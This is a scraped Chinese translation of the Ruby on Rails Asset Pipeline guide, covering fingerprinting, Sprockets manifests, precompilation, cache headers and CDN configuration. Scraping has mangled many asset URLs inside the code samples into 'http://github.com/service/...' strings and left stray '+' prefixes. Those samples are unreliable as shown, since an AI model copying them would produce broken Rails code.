在开发环境和生产环境中,指纹都是默认启用的。通过 config.assets.digest 配置选项,可以启用或禁用指纹。

扩展阅读:

+ +

2 如何使用 Asset Pipeline

在 Rails 的早期版本中,所有静态资源文件都放在 public 文件夹的子文件夹中,例如 imagesjavascriptsstylesheets 子文件夹。当 Rails 开始使用 Asset Pipeline 后,就推荐把静态资源文件放在 app/assets 文件夹中,并使用 Sprockets 中间件处理这些文件。

当然,静态资源文件仍然可以放在 public 文件夹及其子文件夹中。只要把 config.public_file_server.enabled 选项设置为 true,Rails 应用或 Web 服务器就会处理 public 文件夹及其子文件夹中的所有静态资源文件。但对于需要预处理的文件,都应该放在 app/assets 文件夹中。

在生产环境中,Rails 默认会对 public/assets 文件夹中的文件进行预处理。经过预处理的静态资源文件将由 Web 服务器直接处理。在生产环境中,app/assets 文件夹中的文件不会直接交由 Web 服务器处理。

2.1 针对控制器的静态资源文件

当我们使用生成器生成脚手架或控制器时,Rails 会同时为控制器生成 JavaScript 文件(如果 Gemfile 中包含了 coffee-rails gem,那么生成的是 CoffeeScript 文件)和 CSS 文件(如果 Gemfile 中包含了 sass-rails gem,那么生成的是 SCSS 文件)。此外,在生成脚手架时,Rails 还会生成 scaffolds.css 文件(如果 Gemfile 中包含了 sass-rails gem,那么生成的是 scaffolds.scss 文件)。

例如,当我们生成 ProjectsController 时,Rails 会新建 app/assets/javascripts/projects.coffee 文件和 app/assets/stylesheets/projects.scss 文件。默认情况下,应用会通过 require_tree 指令引入这两个文件。关于 require_tree 指令的更多介绍,请参阅 清单文件和指令

针对控制器的 JavaScript 文件和 CSS 文件也可以只在相应的控制器中引入:

<%= javascript_include_tag params[:controller] %><%= stylesheet_link_tag params[:controller] %>

此时,千万不要使用 require_tree 指令,否则就会重复包含这些静态资源文件。

在进行静态资源文件预编译时,请确保针对控制器的静态文件是在按页加载时进行预编译的。默认情况下,Rails 不会自动对 .coffee.scss 文件进行预编译。关于预编译工作原理的更多介绍,请参阅 预编译静态资源文件

要使用 CoffeeScript,就必须安装支持 ExecJS 的运行时。macOS 和 Windows 已经预装了此类运行时。关于所有可用运行时的更多介绍,请参阅 ExecJS 文档。

通过在 config/application.rb 配置文件中添加下述代码,可以禁止生成针对控制器的静态资源文件:

+
+config.generators do |g|
+  g.assets false
+end
+
+
+
+

2.2 静态资源文件的组织方式

应用的 Asset Pipeline 静态资源文件可以储存在三个位置:app/assetslib/assetsvendor/assets

+
    +
  • app/assets 文件夹用于储存应用自有的静态资源文件,例如自定义图像、JavaScript 文件和 CSS 文件。
  • +
  • lib/assets 文件夹用于储存自有代码库的静态资源文件,这些代码库或者不适合放在当前应用中,或者需要在多个应用间共享。
  • +
  • vendor/assets 文件夹用于储存第三方代码库的静态资源文件,例如 JavaScript 插件和 CSS 框架。如果第三方代码库中引用了同样由 Asset Pipeline 处理的静态资源文件(图像、CSS 文件等),就必须使用 asset_path 这样的辅助方法重新编写相关代码。
  • +
+

从 Rails 3 升级而来的用户需要注意,通过设置应用的清单文件, 我们可以包含 lib/assetsvendor/assets 文件夹中的静态资源文件,但是这两个文件夹不再是预编译数组的一部分。更多介绍请参阅 预编译静态资源文件

2.2.1 搜索路径

当清单文件或辅助方法引用了静态资源文件时,Sprockets 会在静态资源文件的三个默认存储位置中进行查找。

这三个默认存储位置分别是 app/assets 文件夹的 imagesjavascriptsstylesheets 子文件夹,实际上这三个文件夹并没有什么特别之处,所有的 app/assets/* 文件夹及其子文件夹都会被搜索。

例如,下列文件:

+
+app/assets/javascripts/home.js
+lib/assets/javascripts/moovinator.js
+vendor/assets/javascripts/slider.js
+vendor/assets/somepackage/phonebox.js
+
+
+
+

在清单文件中可以像下面这样进行引用:

+
+//= require home
+//= require moovinator
+//= require slider
+//= require phonebox
+
+
+
+

这些文件夹的子文件夹中的静态资源文件:

+
+app/assets/javascripts/sub/something.js
+
+
+
+

可以像下面这样进行引用:

+
+//= require sub/something
+
+
+
+

通过在 Rails 控制台中检查 Rails.application.config.assets.paths 变量,我们可以查看搜索路径。

除了标准的 app/assets/* 路径,还可以在 config/application.rb 配置文件中为 Asset Pipeline 添加其他路径。例如:

+
+config.assets.paths << Rails.root.join("lib", "videoplayer", "flash")
+
+
+
+

Rails 会按照路径在搜索路径中出现的先后顺序,对路径进行遍历。因此,在默认情况下,app/assets 中的文件优先级最高,将会遮盖 libvendor 文件夹中的同名文件。

千万注意,在清单文件之外引用的静态资源文件必须添加到预编译数组中,否则无法在生产环境中使用。

2.2.2 使用索引文件

对于 Sprockets,名为 index(带有相关扩展名)的文件具有特殊用途。

例如,假设应用中使用的 jQuery 库及多个模块储存在 lib/assets/javascripts/library_name 文件夹中,那么 lib/assets/javascripts/library_name/index.js 文件将作为这个库的清单文件。在这个库的清单文件中,应该按顺序列出所有需要加载的文件,或者干脆使用 require_tree 指令。

在应用的清单文件中,可以把这个库作为一个整体加载:

+
+//= require library_name
+
+
+
+

这样,相关代码总是作为整体在应用中使用,降低了维护成本,并使代码保持简洁。

Sprockets 没有为访问静态资源文件添加任何新方法,而是继续使用我们熟悉的 javascript_include_tagstylesheet_link_tag 辅助方法:

+
+<%= stylesheet_link_tag "application", media: "all" %>
+<%= javascript_include_tag "application" %>
+
+
+
+

如果使用了 Rails 默认包含的 turbolinks gem,并使用了 data-turbolinks-track 选项,Turbolinks 就会检查静态资源文件是否有更新,如果有更新就加载到页面中:

+
+<%= stylesheet_link_tag "application", media: "all", "data-turbolinks-track" => "reload" %>
+<%= javascript_include_tag "application", "data-turbolinks-track" => "reload" %>
+
+
+
+

在常规视图中,我们可以像下面这样访问 app/assets/images 文件夹中的图像:

+
+<%= image_tag "rails.png" %>
+
+
+
+

如果在应用中启用了 Asset Pipeline,并且未在当前环境中禁用 Asset Pipeline,那么这个图像文件将由 Sprockets 处理。如果图像的位置是 public/assets/rails.png,那么将由 Web 服务器处理。

如果文件请求包含 SHA256 哈希值,例如 public/assets/rails-f90d8a84c707a8dc923fca1ca1895ae8ed0a09237f6992015fef1e11be77c023.png,处理的方式也是一样的。关于如何生成哈希值的介绍,请参阅 在生产环境中

Sprockets 还会检查 config.assets.paths 中指定的路径,其中包括 Rails 应用的标准路径和 Rails 引擎添加的路径。

也可以把图像放在子文件夹中,访问时只需加上子文件夹的名称即可:

+
+<%= image_tag "icons/rails.png" %>
+
+
+
+

如果对静态资源文件进行了预编译(请参阅 在生产环境中),那么在页面中链接到并不存在的静态资源文件或空字符串将导致该页面抛出异常。因此,在使用 image_tag 等辅助方法处理用户提供的数据时一定要小心。

2.3.1 CSS 和 ERB

Asset Pipeline 会自动计算 ERB 的值。也就是说,只要给 CSS 文件添加 .erb 扩展名(例如 application.css.erb),就可以在 CSS 规则中使用 asset_path 等辅助方法。

+
+.class { background-image: url(http://github.com/<%=%20asset_path%20'image.png'%20%>) }
+
+
+
+

上述代码中的 asset_path 辅助方法会返回指向图像真实路径的链接。图像必须位于静态文件加载路径中,例如 app/assets/images/image.png,以便在这里引用。如果在 public/assets 文件夹中已经存在此图像的带指纹的版本,那么将引用这个带指纹的版本。

要想使用 data URI(用于把图像数据直接嵌入 CSS 文件中),可以使用 asset_data_uri 辅助方法:

+
+#logo { background: url(http://github.com/<%=%20asset_data_uri%20'logo.png'%20%>) }
+
+
+
+

asset_data_uri 辅助方法会把正确格式化后的 data URI 插入 CSS 源代码中。

注意,关闭标签不能使用 -%> 形式。

2.3.2 CSS 和 Sass

在使用 Asset Pipeline 时,静态资源文件的路径都必须重写,为此 sass-rails gem 提供了 -url-path 系列辅助方法(在 Sass 中使用连字符,在 Ruby 中使用下划线),用于处理图像、字体、视频、音频、JavaScript 和 CSS 等类型的静态资源文件。

+
    +
  • image-url("http://github.com/rails.png") 会返回 url(http://github.com/assets/rails.png) +
  • +
  • image-path("rails.png") 会返回 "/assets/rails.png" +
  • +
+

或使用更通用的形式:

+
    +
  • asset-url("http://github.com/rails.png") 返回 url(http://github.com/assets/rails.png) +
  • +
  • asset-path("rails.png") 返回 "/assets/rails.png" +
  • +
+

2.3.3 JavaScript/CoffeeScript 和 ERB

只要给 JavaScript 文件添加 .erb 扩展名(例如 application.js.erb),就可以在 JavaScript 源代码中使用 asset_path 辅助方法:

+
+$('#logo').attr({ src: "<%= asset_path('logo.png') %>" });
+
+
+
+

上述代码中的 asset_path 辅助方法会返回指向图像真实路径的链接。

同样,只要给 CoffeeScript 文件添加 .erb 扩展名(例如 application.coffee.erb),就可以在 CoffeeScript 源代码中使用 asset_path 辅助方法:

+
+$('#logo').attr src: "<%= asset_path('logo.png') %>"
+
+
+
+

2.4 清单文件和指令

Sprockets 使用清单文件来确定需要包含和处理哪些静态资源文件。这些清单文件中的指令会告诉 Sprockets,要想创建 CSS 或 JavaScript 文件需要加载哪些文件。通过这些指令,可以让 Sprockets 加载指定文件,对这些文件进行必要的处理,然后把它们连接为单个文件,最后进行压缩(压缩方式取决于 Rails.application.config.assets.js_compressor 选项的值)。这样在页面中只需处理一个文件而非多个文件,减少了浏览器的请求次数,大大缩短了页面的加载时间。通过压缩还能使文件变小,使浏览器可以更快地下载。

例如,在默认情况下,新建 Rails 应用的 app/assets/javascripts/application.js 文件包含下面几行代码:

+
+// ...
+//= require jquery
+//= require jquery_ujs
+//= require_tree .
+
+
+
+

在 JavaScript 文件中,Sprockets 指令以 //=. 开头。上述代码中使用了 requirerequire_tree 指令。require 指令用于告知 Sprockets 哪些文件需要加载。这里加载的是 Sprockets 搜索路径中的 jquery.jsjquery_ujs.js 文件。我们不必显式提供文件的扩展名,因为 Sprockets 假定在 .js 文件中加载的总是 .js 文件。

require_tree 指令告知 Sprockets 以递归方式包含指定文件夹中的所有 JavaScript 文件。在指定文件夹路径时,必须使用相对于清单文件的相对路径。也可以通过 require_directory 指令包含指定文件夹中的所有 JavaScript 文件,此时将不会采取递归方式。

清单文件中的指令是按照从上到下的顺序处理的,但我们无法确定 require_tree 指令包含文件的顺序,因此不应该依赖于这些文件的顺序。如果想要确保连接文件时某些 JavaScript 文件出现在其他 JavaScript 文件之前,可以在清单文件中先行加载这些文件。注意,require 系列指令不会重复加载文件。

在默认情况下,新建 Rails 应用的 app/assets/stylesheets/application.css 文件包含下面几行代码:

+
+/* ...
+*= require_self
+*= require_tree .
+*/
+
+
+
+

无论新建 Rails 应用时是否使用了 --skip-sprockets 选项,Rails 都会创建 app/assets/javascripts/application.jsapp/assets/stylesheets/application.css 文件。因此,之后想要使用 Asset Pipeline 非常容易。

我们在 JavaScript 文件中使用的指令同样可以在 CSS 文件中使用,此时加载的是 CSS 文件而不是 JavaScript 文件。在 CSS 清单文件中,require_tree 指令的工作原理和在 JavaScript 清单文件中相同,会加载指定文件夹中的所有 CSS 文件。

上述代码中使用了 require_self 指令,用于把当前文件中的 CSS 代码(如果存在)插入调用这个指令的位置。

要想使用多个 Sass 文件,通常应该使用 Sass @import 规则,而不是 Sprockets 指令。如果使用 Sprockets 指令,这些 Sass 文件将拥有各自的作用域,这样变量和混入只能在定义它们的文件中使用。

和使用 require_tree 指令相比,使用 @import "http://github.com/*"@import "http://github.com/**/*" 的效果完全相同,都能加载指定文件夹中的所有文件。更多介绍和注意事项请参阅 sass-rails 文档

我们可以根据需要使用多个清单文件。例如,可以用 admin.jsadmin.css 清单文件分别包含应用管理后台的 JS 和 CSS 文件。

CSS 清单文件中指令的执行顺序类似于前文介绍的 JavaScript 清单文件,尤其是加载的文件都会按照指定顺序依次编译。例如,我们可以像下面这样把 3 个 CSS 文件连接在一起:

+
+/* ...
+*= require reset
+*= require layout
+*= require chrome
+*/
+
+
+
+

2.5 预处理

静态资源文件的扩展名决定了预处理的方式。在使用默认的 Rails gemset 生成控制器或脚手架时,会生成 CoffeeScript 和 SCSS 文件,而不是普通的 JavaScript 和 CSS 文件。在前文的例子中,生成 projects 控制器时会生成 app/assets/javascripts/projects.coffeeapp/assets/stylesheets/projects.scss 文件。

在开发环境中,或 Asset Pipeline 被禁用时,会使用 coffee-scriptsass gem 提供的处理器分别处理相应的文件请求,并把生成的 JavaScript 和 CSS 文件发给浏览器。当 Asset Pipeline 可用时,会对这些文件进行预处理,然后储存在 public/assets 文件夹中,由 Rails 应用或 Web 服务器处理。

通过添加其他扩展名,可以对文件进行更多预处理。对扩展名的解析顺序是从右到左,相应的预处理顺序也是从右到左。例如,对于 app/assets/stylesheets/projects.scss.erb 文件,会先处理 ERB,再处理 SCSS,最后作为 CSS 文件处理。同样,对于 app/assets/javascripts/projects.coffee.erb 文件,会先处理 ERB,再处理 CoffeeScript,最后作为 JavaScript 文件处理。

记住预处理顺序很重要。例如,如果我们把文件名写为 app/assets/javascripts/projects.erb.coffee,就会先处理 CoffeeScript,这时一旦遇到 ERB 代码就会出错。

3 在开发环境中

在开发环境中,Asset Pipeline 会按照清单文件中指定的顺序处理静态资源文件。

对于清单文件 app/assets/javascripts/application.js

+
+//= require core
+//= require projects
+//= require tickets
+
+
+
+

会生成下面的 HTML:

+
+<script src="http://github.com/assets/core.js?body=1"></script>
+<script src="http://github.com/assets/projects.js?body=1"></script>
+<script src="http://github.com/assets/tickets.js?body=1"></script>
+
+
+
+

其中 body 参数是使用 Sprockets 时必须使用的参数。

3.1 检查运行时错误

在生产环境中,Asset Pipeline 默认会在运行时检查潜在错误。要想禁用此行为,可以设置:

+
+config.assets.raise_runtime_errors = false
+
+
+
+

当此选项设置为 true 时,Asset Pipeline 会检查应用中加载的所有静态资源文件是否都已包含在 config.assets.precompile 列表中。如果此时 config.assets.digest 也设置为 true,Asset Pipeline 会要求所有对静态资源文件的请求都包含指纹(digest)。

3.2 找不到静态资源时抛出错误

如果使用的 sprockets-rails 是 3.2.0 或以上版本,可以配置找不到静态资源时的行为。如果禁用了“静态资源后备机制”,找不到静态资源时抛出错误。

+
+config.assets.unknown_asset_fallback = false
+
+
+
+

如果启用了“静态资源后备机制”,找不到静态资源时,输出路径,而不抛出错误。静态资源后备机制默认启用。

3.3 关闭指纹

通过修改 config/environments/development.rb 配置文件,我们可以关闭指纹:

+
+config.assets.digest = false
+
+
+
+

当此选项设置为 true 时,Rails 会为静态资源文件的 URL 生成指纹。

3.4 关闭调试

通过修改 config/environments/development.rb 配置文件,我们可以关闭调式模式:

+
+config.assets.debug = false
+
+
+
+

当调试模式关闭时,Sprockets 会对所有文件进行必要的预处理,然后把它们连接起来。此时,前文的清单文件会生成下面的 HTML:

+
+<script src="http://github.com/assets/application.js"></script>
+
+
+
+

当服务器启动后,静态资源文件将在第一次请求时进行编译和缓存。Sprockets 通过设置 must-revalidate Cache-Control HTTP 首部,来减少后续请求造成的开销,此时对于后续请求浏览器会得到 304(未修改)响应。

如果清单文件中的某个文件在两次请求之间发生了变化,服务器会使用新编译的文件作为响应。

还可以通过 Rails 辅助方法启用调试模式:

+
+<%= stylesheet_link_tag "application", debug: true %>
+<%= javascript_include_tag "application", debug: true %>
+
+
+
+

当然,如果已经启用了调式模式,再使用 :debug 选项就完全是多余的了。

在开发模式中,我们也可以启用压缩功能以检查其工作是否正常,在需要进行调试时再禁用压缩功能。

4 在生产环境中

在生产环境中,Sprockets 会使用前文介绍的指纹机制。默认情况下,Rails 假定静态资源文件都经过了预编译,并将由 Web 服务器处理。

在预编译阶段,Sprockets 会根据静态资源文件的内容生成 SHA256 哈希值,并在保存文件时把这个哈希值添加到文件名中。Rails 辅助方法会用这些包含指纹的文件名代替清单文件中的文件名。

例如,下面的代码:

+
+<%= javascript_include_tag "application" %>
+<%= stylesheet_link_tag "application" %>
+
+
+
+

会生成下面的 HTML:

+
+<script src="http://github.com/assets/application-908e25f4bf641868d8683022a5b62f54.js"></script>
+<link href="http://github.com/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen"
+rel="stylesheet" />
+
+
+
+

Rails 开始使用 Asset Pipeline 后,不再使用 :cache:concat 选项,因此在调用 javascript_include_tagstylesheet_link_tag 辅助方法时需要删除这些选项。

可以通过 config.assets.digest 初始化选项(默认为 true)启用或禁用指纹功能。

在正常情况下,请不要修改默认的 config.assets.digest 选项(默认为 true)。如果文件名中未包含指纹,并且 HTTP 头信息的过期时间设置为很久以后,远程客户端将无法在文件内容发生变化时重新获取文件。

4.1 预编译静态资源文件

Rails 提供了一个 Rake 任务,用于编译 Asset Pipeline 清单文件中的静态资源文件和其他相关文件。

经过编译的静态资源文件将储存在 config.assets.prefix 选项指定的路径中,默认为 /assets 文件夹。

部署 Rails 应用时可以在服务器上执行这个 Rake 任务,以便直接在服务器上完成静态资源文件的编译。关于本地编译的介绍,请参阅下一节。

这个 Rake 任务是:

+
+$ RAILS_ENV=production bin/rails assets:precompile
+
+
+
+

Capistrano(v2.15.1 及更高版本)提供了对这个 Rake 任务的支持。只需把下面这行代码添加到 Capfile 中:

+
+load 'deploy/assets'
+
+
+
+

就会把 config.assets.prefix 选项指定的文件夹链接到 shared/assets 文件夹。当然,如果 shared/assets 文件夹已经用于其他用途,我们就得自己编写部署任务了。

需要注意的是,shared/assets 文件夹会在多次部署之间共享,这样引用了这些静态资源文件的远程客户端的缓存页面在其生命周期中就能正常工作。

编译文件时的默认匹配器(matcher)包括 application.jsapplication.css,以及 app/assets 文件夹和 gem 中的所有非 JS/CSS 文件(会自动包含所有图像):

+
+[ Proc.new { |filename, path| path =~ /app\/assets/ && !%w(.js .css).include?(File.extname(filename)) },
+/application.(css|js)$/ ]
+
+
+
+

这个匹配器(及预编译数组的其他成员;见后文)会匹配编译后的文件名,这意味着无论是 JS/CSS 文件,还是能够编译为 JS/CSS 的文件,都将被排除在外。例如,.coffee.scss 文件能够编译为 JS/CSS,因此被排除在默认的编译范围之外。

要想包含其他清单文件,或单独的 JavaScript 和 CSS 文件,可以把它们添加到 config/initializers/assets.rb 配置文件的 precompile 数组中:

+
+Rails.application.config.assets.precompile += %w( admin.js admin.css )
+
+
+
+

添加到 precompile 数组的文件名应该以 .js.css 结尾,即便实际添加的是 CoffeeScript 或 Sass 文件也是如此。

assets:precompile 这个 Rake 任务还会成生 .sprockets-manifest-md5hash.json 文件(其中 md5hash 是一个 MD5 哈希值),其内容是所有静态资源文件及其指纹的列表。有了这个文件,Rails 辅助方法不需要 Sprockets 就能获得静态资源文件对应的指纹。下面是一个典型的 .sprockets-manifest-md5hash.json 文件的例子:

+
+{"files":{"application-aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b.js":{"logical_path":"application.js","mtime":"2016-12-23T20:12:03-05:00","size":412383,
+"digest":"aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b","integrity":"sha256-ruS+cfEogDeueLmX3ziDMu39JGRxtTPc7aqPn+FWRCs="},
+"application-86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18.css":{"logical_path":"application.css","mtime":"2016-12-23T19:12:20-05:00","size":2994,
+"digest":"86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18","integrity":"sha256-hqKStQcHk8N+LA5fOfc7s4dkTq6tp/lub8BAoCixbBg="},
+"favicon-8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda.ico":{"logical_path":"favicon.ico","mtime":"2016-12-23T20:11:00-05:00","size":8629,
+"digest":"8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda","integrity":"sha256-jSOHuNTTLOzZP6OQDfDp/4nQGqzYT1DngMF8n2s9Dto="},
+"my_image-f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493.png":{"logical_path":"my_image.png","mtime":"2016-12-23T20:10:54-05:00","size":23414,
+"digest":"f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493","integrity":"sha256-9AKBVv1+ygNYTV8vwEcN8eDbxzaequY4sv8DP5iOxJM="}},
+"assets":{"application.js":"application-aee4be71f1288037ae78b997df388332edfd246471b533dcedaa8f9fe156442b.js",
+"application.css":"application-86a292b5070793c37e2c0e5f39f73bb387644eaeada7f96e6fc040a028b16c18.css",
+"favicon.ico":"favicon-8d2387b8d4d32cecd93fa3900df0e9ff89d01aacd84f50e780c17c9f6b3d0eda.ico",
+"my_image.png":"my_image-f4028156fd7eca03584d5f2fc0470df1e0dbc7369eaae638b2ff033f988ec493.png"}}
+
+
+
+

.sprockets-manifest-md5hash.json 文件默认位于 config.assets.prefix 选项所指定的位置的根目录(默认为 /assets 文件夹)。

在生产环境中,如果有些预编译后的文件丢失了,Rails 就会抛出 Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError 异常,提示所丢失文件的文件名。

4.1.1 在 HTTP 首部中设置为很久以后才过期

预编译后的静态资源文件储存在文件系统中,并由 Web 服务器直接处理。默认情况下,这些文件的 HTTP 首部并不会在很久以后才过期,为了充分发挥指纹的作用,我们需要修改服务器配置中的请求头过期时间。

对于 Apache:

+
+# 在启用 Apache 模块 `mod_expires` 的情况下,才能使用
+# Expires* 系列指令。
+<Location /assets/>
+  # 在使用 Last-Modified 的情况下,不推荐使用 ETag
+  Header unset ETag
+  FileETag None
+  # RFC 规定缓存时间为 1 年
+  ExpiresActive On
+  ExpiresDefault "access plus 1 year"
+</Location>
+
+
+
+

对于 Nginx:

+
+location ~ ^/assets/ {
+  expires 1y;
+  add_header Cache-Control public;
+
+  add_header ETag "";
+}
+
+
+
+

4.2 本地预编译

在本地预编译静态资源文件的理由如下:

+
    +
  • 可能没有生产环境服务器文件系统的写入权限;
  • +
  • 可能需要部署到多台服务器,不想重复编译;
  • +
  • 部署可能很频繁,但静态资源文件很少变化。
  • +
+

本地编译允许我们把编译后的静态资源文件纳入源代码版本控制,并按常规方式部署。

有三个注意事项:

+
    +
  • 不要运行用于预编译静态资源文件的 Capistrano 部署任务;
  • +
  • 开发环境中必须安装压缩或简化静态资源文件所需的工具;
  • +
  • 必须修改下面这个设置:
  • +
+

config/environments/development.rb 配置文件中添加下面这行代码:

+
+config.assets.prefix = "/dev-assets"
+
+
+
+

在开发环境中,通过修改 prefix,可以让 Sprockets 使用不同的 URL 处理静态资源文件,并把所有请求都交给 Sprockets 处理。在生产环境中,prefix 仍然应该设置为 /assets。在开发环境中,如果不修改 prefix,应用就会优先读取 /assets 文件夹中预编译后的静态资源文件,这样对静态资源文件进行修改后,除非重新编译,否则看不到任何效果。

实际上,通过修改 prefix,我们可以在本地预编译静态资源文件,并把这些文件储存在工作目录中,同时可以根据需要随时将其纳入源代码版本控制。开发模式将按我们的预期正常工作。

4.3 实时编译

在某些情况下,我们需要使用实时编译。在实时编译模式下,Asset Pipeline 中的所有静态资源文件都由 Sprockets 直接处理。

通过如下设置可以启用实时编译:

+
+config.assets.compile = true
+
+
+
+

如前文所述,静态资源文件会在首次请求时被编译和缓存,辅助方法会把清单文件中的文件名转换为带 SHA256 哈希值的版本。

Sprockets 还会把 Cache-Control HTTP 首部设置为 max-age=31536000,意思是服务器和客户端浏览器的所有缓存的过期时间是 1 年。这样在本地浏览器缓存或中间缓存中找到所需静态资源文件的可能性会大大增加,从而减少从服务器上获取静态资源文件的请求次数。

但是实时编译模式会使用更多内存,性能也比默认设置更差,因此并不推荐使用。

如果部署应用的生产服务器没有预装 JavaScript 运行时,可以在 Gemfile 中添加一个:

+
+group :production do
+  gem 'therubyracer'
+end
+
+
+
+

4.4 CDN

CDN 的意思是内容分发网络,主要用于缓存全世界的静态资源文件。当 Web 浏览器请求静态资源文件时,CDN 会从地理位置最近的 CDN 服务器上发送缓存的文件副本。如果我们在生产环境中让 Rails 直接处理静态资源文件,那么在应用前端使用 CDN 将是最好的选择。

使用 CDN 的常见模式是把生产环境中的应用设置为“源”服务器,也就是说,当浏览器从 CDN 请求静态资源文件但缓存未命中时,CDN 将立即从“源”服务器中抓取该文件,并对其进行缓存。例如,假设我们在 example.com 上运行 Rails 应用,并在 mycdnsubdomain.fictional-cdn.com 上配置了 CDN,在处理对 mycdnsubdomain.fictional-cdn.com/assets/smile.png 的首次请求时,CDN 会抓取 example.com/assets/smile.png 并进行缓存。之后再请求 mycdnsubdomain.fictional-cdn.com/assets/smile.png 时,CDN 会直接提供缓存中的文件副本。对于任何请求,只要 CDN 能够直接处理,就不会访问 Rails 服务器。由于 CDN 提供的静态资源文件由地理位置最近的 CDN 服务器提供,因此对请求的响应更快,同时 Rails 服务器不再需要花费大量时间处理静态资源文件,因此可以专注于更快地处理应用代码。

4.4.1 设置用于处理静态资源文件的 CDN

要设置 CDN,首先必须在公开的互联网 URL 地址上(例如 example.com)以生产环境运行 Rails 应用。下一步,注册云服务提供商的 CDN 服务。然后配置 CDN 的“源”服务器,把它指向我们的网站 example.com,具体配置方法请参考云服务提供商的文档。

CDN 提供商会为我们的应用提供一个自定义子域名,例如 mycdnsubdomain.fictional-cdn.com(注意 fictional-cdn.com 只是撰写本文时杜撰的一个 CDN 提供商)。完成 CDN 服务器配置后,还需要告诉浏览器从 CDN 抓取静态资源文件,而不是直接从 Rails 服务器抓取。为此,需要在 Rails 配置中,用静态资源文件的主机代替相对路径。通过 config/environments/production.rb 配置文件的 config.action_controller.asset_host 选项,我们可以设置静态资源文件的主机:

+
+config.action_controller.asset_host = 'mycdnsubdomain.fictional-cdn.com'
+
+
+
+

这里只需提供“主机”,即前文提到的子域名,而不需要指定 HTTP 协议,例如 http://https://。默认情况下,Rails 会使用网页请求的 HTTP 协议作为指向静态资源文件链接的协议。

还可以通过环境变量设置静态资源文件的主机,这样可以方便地在不同的运行环境中使用不同的静态资源文件:

+
+config.action_controller.asset_host = ENV['CDN_HOST']
+
+
+
+

这里还需要把服务器上的 CDN_HOST 环境变量设置为 mycdnsubdomain.fictional-cdn.com

服务器和 CDN 配置好后,就可以像下面这样引用静态资源文件:

+
+<%= asset_path('smile.png') %>
+
+
+
+

这时返回的不再是相对路径 /assets/smile.png(出于可读性考虑省略了文件名中的指纹),而是指向 CDN 的完整路径:

+
+http://mycdnsubdomain.fictional-cdn.com/assets/smile.png
+
+
+
+

如果 CDN 上有 smile.png 文件的副本,就会直接返回给浏览器,而 Rails 服务器甚至不知道有浏览器请求了 smile.png 文件。如果 CDN 上没有 smile.png 文件的副本,就会先从“源”服务器上抓取 example.com/assets/smile.png 文件,再返回给浏览器,同时保存文件的副本以备将来使用。

如果只想让 CDN 处理部分静态资源文件,可以在调用静态资源文件辅助方法时使用 :host 选项,以覆盖 config.action_controller.asset_host 选项中设置的值:

+
+<%= asset_path 'image.png', host: 'mycdnsubdomain.fictional-cdn.com' %>
+
+
+
+

4.4.2 自定义 CDN 缓存行为

CDN 的作用是为内容提供缓存。如果 CDN 上有过期或不良内容,那么不仅不能对应用有所助益,反而会造成负面影响。本小节将介绍大多数 CDN 的一般缓存行为,而我们使用的 CDN 在特性上可能会略有不同。

4.4.2.1 CDN 请求缓存

我们常说 CDN 对于缓存静态资源文件非常有用,但实际上 CDN 缓存的是整个请求。其中既包括了静态资源文件的请求体,也包括了其首部。其中,Cache-Control 首部是最重要的,用于告知 CDN(和 Web 浏览器)如何缓存文件内容。假设用户请求了 /assets/i-dont-exist.png 这个并不存在的静态资源文件,并且 Rails 应用返回的是 404,那么只要设置了合法的 Cache-Control 首部,CDN 就会缓存 404 页面。

4.4.2.2 调试 CDN 首部

检查 CDN 是否正确缓存了首部的方法之一是使用 curl。我们可以分别从 Rails 服务器和 CDN 获取首部,然后确认二者是否相同:

+
+$ curl -I http://www.example/assets/application-
+d0e099e021c95eb0de3615fd1d8c4d83.css
+HTTP/1.1 200 OK
+Server: Cowboy
+Date: Sun, 24 Aug 2014 20:27:50 GMT
+Connection: keep-alive
+Last-Modified: Thu, 08 May 2014 01:24:14 GMT
+Content-Type: text/css
+Cache-Control: public, max-age=2592000
+Content-Length: 126560
+Via: 1.1 vegur
+
+
+
+

CDN 中副本的首部:

+
+$ curl -I http://mycdnsubdomain.fictional-cdn.com/application-
+d0e099e021c95eb0de3615fd1d8c4d83.css
+HTTP/1.1 200 OK Server: Cowboy Last-
+Modified: Thu, 08 May 2014 01:24:14 GMT Content-Type: text/css
+Cache-Control:
+public, max-age=2592000
+Via: 1.1 vegur
+Content-Length: 126560
+Accept-Ranges:
+bytes
+Date: Sun, 24 Aug 2014 20:28:45 GMT
+Via: 1.1 varnish
+Age: 885814
+Connection: keep-alive
+X-Served-By: cache-dfw1828-DFW
+X-Cache: HIT
+X-Cache-Hits:
+68
+X-Timer: S1408912125.211638212,VS0,VE0
+
+
+
+

在 CDN 文档中可以查询 CDN 提供的额外首部,例如 X-Cache

4.4.2.3 CDN 和 Cache-Control 首部

Cache-Control 首部是一个 W3C 规范,用于描述如何缓存请求。当未使用 CDN 时,浏览器会根据 Cache-Control 首部来缓存文件内容。在静态资源文件未修改的情况下,浏览器就不必重新下载 CSS 或 JavaScript 等文件了。通常,Rails 服务器需要告诉 CDN(和浏览器)这些静态资源文件是“公共的”,这样任何缓存都可以保存这些文件的副本。此外,通常还会通过 max-age 字段来设置缓存失效前储存对象的时间。max-age 字段的单位是秒,最大设置为 31536000,即一年。在 Rails 应用中设置 Cache-Control 首部的方法如下:

+
+config.public_file_server.headers = {
+  'Cache-Control' => 'public, max-age=31536000'
+}
+
+
+
+

现在,在生产环境中,Rails 应用的静态资源文件在 CDN 上会被缓存长达 1 年之久。由于大多数 CDN 会缓存首部,静态资源文件的 Cache-Control 首部会被传递给请求该静态资源文件的所有浏览器,这样浏览器就会长期缓存该静态资源文件,直到缓存过期后才会重新请求该文件。

4.4.2.4 CDN 和基于 URL 地址的缓存失效

大多数 CDN 会根据完整的 URL 地址来缓存静态资源文件的内容。因此,缓存

+
+http://mycdnsubdomain.fictional-cdn.com/assets/smile-123.png
+
+
+
+

和缓存

+
